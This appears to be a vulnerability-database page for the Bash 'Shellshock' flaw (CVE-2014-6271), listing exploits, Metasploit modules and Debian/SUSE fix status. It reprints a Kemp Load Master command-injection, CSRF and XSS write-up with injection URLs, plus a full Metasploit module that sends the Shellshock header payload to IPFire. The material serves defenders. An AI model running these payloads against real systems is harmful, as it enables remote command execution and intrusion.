CVE-2014-6271

unknown KEV
Published 2022-01-28 · Modified 2022-01-28
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
2.5

Description

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute code.

CISA KEV

Vendor
GNU
Product
Bourne-Again Shell (Bash)
Due date
2022-07-28

Predictions

Exploit likelihood
99%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36609 webapps multiple text · 7 KB
Roberto Suggi Liverani · 2015-04-02

Kemp Load Master 7.1.16 - Multiple Vulnerabilities

text exploit Source: Exploit-DB
# Exploit Title: Kemp Load Master - Multiple Vulnerabilities (RCE, CSRF, XSS, DoS)
# Date: 01 April 2015
# Author: Roberto Suggi Liverani
# Software Link: http://kemptechnologies.com/load-balancer/
# Version: 7.1.16 and previous versions
# Tested on: Kemp Load Master 7.1-16
# CVE : CVE-2014-5287/5288

Link: http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html

Kemp virtual load master is a virtual load-balancer appliance which comes with a web administrative interface. I had a chance to test it and this blog post summarises some of the most interesting vulnerabilities I have discovered and which have not been published yet. For those of you who want to try it as well, you can get a free trial version here: http://kemptechnologies.com/server-load-balancing-appliances/virtual-loadbalancer/vlm-download

By default, Kemp web administrative interface is protected by Basic authentication, so the vulnerabilities discussed in the post below can either be exploited attacking an authenticated user via CSRF or XSS based attacks.

The following vulnerabilities were discovered when looking at Kemp Load Master v.7.1-16 and some of them should be fixed in the latest version (7.1-20b or later).

Change logs of the fixed issues can be found at the following page:

"PD-2183 Functions have been added to sanitize input in the WUI in order to resolve some security issues – fix for CVE-2014-5287 and CVE-2014-5288".

Remote Code Execution - status: fixed in 7.1.20b (reported in June 2014) - CVE-2014-5287/5288

An interesting remote code execution vector can be found through the attack payload below:

http://x.x.x.x/progs/fwaccess/add/1|command

The web application functionality is based on multiple bash scripts contained in the /usr/wui/progs folder. The application is using CGI so that the scripts can handle HTTP requests.


We notice that if the result of the command on line 285 is not positive (check on 286), then seterrmsg function is called.


On line 318 we see a dangerous "eval" against our parameters. By simply attempting multiple characters, the seterrmsg function is invoked and returns plenty of interesting information:

http://x.x.x.x/progs/fwaccess/add/1'ls

Response:

HTTP/1.1 200 OK
Date: Sat, 27 Dec 2014 23:25:55 GMT
Server: mini-http/1.0 (unix)
Connection: close
Content-Type: text/html
/usr/wui/progs/util.sh: eval: line 318: unexpected EOF while looking for matching `''
/usr/wui/progs/util.sh: eval: line 319: syntax error: unexpected end of file

line 318 contains an eval against the $@ (which contains our arguments). The arguments are passed via the fwaccess page, where IFS is set with a slash "/" separator.

By attempting the request below, it is possible to achieve code execution:

http://x.x.x.x/progs/fwaccess/add/1|ls

Response:


Line 120 and line 190 reports an integer expression expected error, as our argument is "1|ls" is obviously no longer an integer. However, the command execution works fine, as we are redirecting output through the pipe character and to "ls" command.

The application is flawed in so many other points, also, via HTTP POST requests


Other injection points that were found:

Page: /progs/geoctrl/doadd
Method: POST
Parameter: fqdn

Page: /progs/networks/hostname
Method: POST
Parameter: host

Page: /progs/networks/servadd
Method: POST
Parameter: addr

Page: /progs/useradmin/setopts
Method: POST
Parameter: xuser

So how can we exploit all this goodness?

CSRF (Cross Site Request Forgery) - status: not fixed - reported in June 2014

We can use another vulnerability, such as CSRF - most of the pages of the administrative are vulnerable to this attack, so even though a user is authenticated via Basic authentication, the forged request will force the browser to pass the credentials within the HTTP request.

Interestingly enough, there are some kind of protections against CSRF for critical functions, such as factory reset, shutdown and reset. However, they are flawed as well, as the "magic" token matches with the unix epoch timestamp, so it is predictable and can be passed within the request.


Reflected and Stored XSS - status: partially fixed - reported on June 2014

Another way to attack users is via XSS - in this case, we have plenty of options, as both reflected and stored XSS are there. For instance, a user might want to CSRF -> Store XSS -> BeEF just to achieve persistence.

Reflected XSS was found on this point:

Page: /progs/useradmin/setopts
Method: POST
Parameter: xuser


Stored XSS was found on the following points:

Page: /progs/geoctrl/doadd
Method: POST
Parameter: fqdn


A further injection points:

Page: /progs/fwaccess/add/0
Method: POST
Parameter: comment

Page: /progs/doconfig/setmotd
Method: POST
Parameter:

BeEF Module

As part of this research, I have developed a BeEF module to take advantage of chaining these vulnerabilities together. It is always sweet to use a XSS as a starting point to perform code execution against an appliance.

The github pull request for the module can be found here: https://github.com/beefproject/beef/pull/1104/files


For this module, I wanted to use the beef.net.forge_request() function, using a POST method, required to exploit the above RCE vector attacks. However, POST method was not usable at moment of writing this module and @antisnatchor was very quick to fix it in this case. So if you want to try it, ensure you have the latest version of BeEF installed.


Extra - bonus

Denial of Service - status: unknown - reported on June 2014

It appears the thc-ssl-dos tool can bring down the Kemp Load Master administrative interface, which is served over SSL. The same goes if a balanced service is using SSL via Kemp Load Master.

Shell-shock - status: unknown - reported in 2015

Obviously, the application is not immune from the infamous shell-shock vulnerability. This was found by my friend Paul Heneghan and then by a user complaining on the vendor's blog (the comment has been removed shortly after).

For those of you who are more curios, the shell-shock vulnerability works perfectly via the User-Agent header, also in version 7.1-18 and possibly on version 7.1-20 as well.



Funny enough, Kemp provides Web Application Firewall protection, but I wonder how they can "prevent" the OWASP Top Ten (as they claim here), if their main product is affected by so many critical vulnerabilities ;-)

If you are keen for an extra-extra bonus, keep reading...

Extra - extra bonus:

No license, no web authentication


However, most of the underlying functionality is still available and "attackable" without need of basic authentication. You can invalidate the license with a CSRF setting time far in the future ;-)
EDB-35146 webapps php
Ryan King (Starfall) · 2014-11-03

PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection

Source code queued for fetch — refresh in a moment.
EDB-34766 remote linux verified
Prakhar Prasad & Subho Halder · 2014-09-25

Bash - 'Shellshock' Environment Variables Command Injection

Source code queued for fetch — refresh in a moment.
EDB-34896 remote linux verified
Phil Blank · 2014-10-06

Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection

Source code queued for fetch — refresh in a moment.
EDB-34862 remote linux verified
Metasploit · 2014-10-02

Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-38849 remote cgi verified
Metasploit · 2015-12-02

Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-34777 remote cgi verified
Shaun Colley · 2014-09-25

GNU Bash - Environment Variable Command Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-39918 remote cgi verified ruby · 4 KB
Metasploit · 2016-06-10

IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)

ruby exploit Source: Exploit-DB
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => 'IPFire Bash Environment Variable Injection (Shellshock)',
        'Description'   => %q(
          IPFire, a free linux based open source firewall distribution,
          version <= 2.15 Update Core 82 contains an authenticated remote
          command execution vulnerability via shellshock in the request headers.
        ),
        'Author'         =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            'Claudio Viviani'                  # discovery
          ],
        'References'     =>
          [
            [ 'EDB', '34839' ],
            [ 'CVE', '2014-6271']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => %w( linux unix ),
        'Privileged'     => false,
        'DefaultOptions' =>
          {
            'SSL' => true,
            'PAYLOAD' => 'cmd/unix/generic'
          },
        'Arch'           => ARCH_CMD,
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'generic'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Sep 29 2014'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/cgi-bin/index.cgi',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.15" && update.to_i < 83
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; /bin/bash -c "#{cmd}" }
  end

  def exploit
    begin
      payload = cve_2014_6271(datastore['CMD'])
      vprint_status("Exploiting with payload: #{payload}")
      res = send_request_cgi(
        'uri'       => '/cgi-bin/index.cgi',
        'method'    => 'GET',
        'headers'   => { 'VULN' => payload }
      )

      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
      /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
      print_good(output) unless output.nil?

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
EDB-34895 webapps cgi verified
Fady Mohammed Osman · 2014-10-06

Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-34839 webapps cgi verified
Claudio Viviani · 2014-10-01

IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection

Source code queued for fetch — refresh in a moment.
EDB-36503 remote hardware
Patrick Pellegrino · 2015-03-26

QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-36504 remote hardware
Patrick Pellegrino · 2015-03-26

QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-40619 remote hardware
Hacker Fantastic · 2016-10-21

TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Command Injection

Source code queued for fetch — refresh in a moment.
EDB-40938 local linux verified
Hacker Fantastic · 2016-12-18

RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection

Source code queued for fetch — refresh in a moment.
EDB-34900 remote linux verified
Federico Galatolo · 2014-10-06

Apache mod_cgi - 'Shellshock' Remote Command Injection

Source code queued for fetch — refresh in a moment.
EDB-35115 remote linux verified
Metasploit · 2014-10-29

CUPS Filter - Bash Environment Variable Code Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-34765 remote linux verified
Stephane Chazelas · 2014-09-25

GNU Bash - 'Shellshock' Environment Variable Command Injection

Source code queued for fetch — refresh in a moment.
EDB-34860 remote linux
@0x00string · 2014-10-02

GNU bash 4.3.11 - Environment Variable dhclient

Source code queued for fetch — refresh in a moment.
EDB-34879 remote linux
hobbily plunt · 2014-10-04

OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection

Source code queued for fetch — refresh in a moment.
EDB-42938 remote linux verified
Metasploit · 2017-10-02

Qmail SMTP - Bash Environment Variable Injection (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-37816 webapps multiple
Bernhard Mueller · 2015-08-18

Cisco Unified Communications Manager - Multiple Vulnerabilities

Source code queued for fetch — refresh in a moment.

Metasploit modules

Dhclient Bash Environment Variable Injection (Shellshock)
Source fetch failed: fetch_error — view the original via the link above.
Advantech Switch Bash Environment Variable Code Injection (Shellshock)
Source fetch failed: fetch_error — view the original via the link above.
Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
Source code queued for fetch — refresh in a moment.
Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)
Source code queued for fetch — refresh in a moment.
DHCP Client Bash Environment Variable Code Injection (Shellshock)
Source fetch failed: fetch_error — view the original via the link above.
IPFire Bash Environment Variable Injection (Shellshock)
Source code queued for fetch — refresh in a moment.
OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)
Source code queued for fetch — refresh in a moment.
Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
Source code queued for fetch — refresh in a moment.
CUPS Filter Bash Environment Variable Code Injection (Shellshock)
Source code queued for fetch — refresh in a moment.
Qmail SMTP Bash Environment Variable Injection (Shellshock)
Source fetch failed: fetch_error — view the original via the link above.

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
Affected
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 4.3-9.1
sid Fixed 4.3-9.1
forky Fixed 4.3-9.1
bullseye Fixed 4.3-9.1
bookworm Fixed 4.3-9.1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.